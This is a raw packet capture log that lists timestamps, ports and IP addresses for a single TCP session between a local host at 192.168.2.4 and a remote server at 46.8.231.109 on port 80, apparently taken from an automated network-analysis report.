Oct 7, 2024 03:03:09.245440006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.245471001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.245488882 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.271791935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.271809101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.271826029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.271867990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.271868944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.271878958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.271894932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.271919966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.271950006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.271959066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.271966934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.271991968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272042990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272058010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272070885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272072077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272080898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272085905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272099018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272102118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272126913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272126913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272165060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272186995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272190094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272198915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272207022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272222042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272244930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272244930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272304058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272319078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272330046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272334099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272347927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272351980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272351980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272367954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272372007 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272375107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272378922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272416115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272416115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272416115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272461891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272476912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272495985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272495985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272505999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272559881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272587061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272605896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272608042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272622108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272627115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272635937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272650957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272651911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272671938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272671938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272690058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272720098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272725105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272725105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272735119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272748947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272768021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272768021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272779942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272821903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272824049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272829056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272861004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272880077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272880077 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272906065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272921085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272939920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272939920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272950888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.272963047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272978067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.272991896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.273013115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.273013115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.273057938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.273077011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.273089886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.273123980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.273123980 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281491995 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281549931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281555891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281589985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281624079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281624079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281663895 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281696081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281709909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281729937 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281764984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281769037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281769037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281836987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281862020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281868935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281908989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281908989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.281930923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.281974077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282006979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282012939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282013893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282040119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282048941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282073975 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282105923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282105923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282140017 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282211065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282246113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282246113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282269955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282301903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282332897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282341003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282341003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282377958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282403946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282464027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282480001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282524109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282551050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282555103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282579899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282588959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282624006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282624006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282645941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282706976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282707930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282737970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282776117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282776117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282799006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282841921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282876015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282876015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282876968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282915115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.282934904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.282965899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283001900 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283019066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283029079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283041000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283080101 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283080101 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283099890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283137083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283145905 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283158064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283169031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283202887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283235073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283240080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283240080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283273935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283286095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283333063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283366919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283368111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283379078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283421993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283457994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283492088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283502102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283524036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283524036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283533096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283536911 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283565044 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283605099 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283605099 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283606052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283616066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283647060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283657074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283657074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283679008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283715963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283715963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283721924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283756018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283787012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283787012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283787966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283801079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283819914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283830881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283864021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283870935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283870935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283895016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283927917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283952951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283952951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283958912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283991098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.283998966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.283998966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.284034967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.284064054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.284066916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.284077883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.284099102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.284131050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.284137964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.284137964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.284162998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.284193993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.284193993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.284195900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.284328938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.335730076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.335772038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.335824013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.335824013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.335841894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.335876942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.335907936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.335915089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.335915089 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.335942984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.335966110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.335974932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.336007118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.336007118 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.336014032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.336071968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362438917 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362601995 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362617016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362632990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362647057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362672091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362679005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362679005 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362679005 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362684965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362690926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362709045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362709045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362732887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362746954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362761974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362766981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362766981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362777948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362802982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362802982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362826109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362842083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362869024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362884045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362898111 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.362898111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362898111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.362916946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363002062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363017082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363019943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363032103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363045931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363053083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363053083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363060951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363080025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363080025 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363121986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363123894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363135099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363148928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363163948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363169909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363169909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363178015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363198996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363198996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363209963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363234043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363249063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363264084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363274097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363275051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363285065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363292933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363338947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363351107 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363363028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363377094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363389969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363408089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363409996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363409996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363429070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363442898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363462925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363462925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363470078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363486052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363506079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363506079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363554955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363574028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363588095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363601923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363612890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363615990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363625050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363632917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363677979 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363682032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363696098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363709927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363722086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.363732100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363732100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363743067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.363770008 CEST	49731	80	192.168.2.4	46.8.231.109
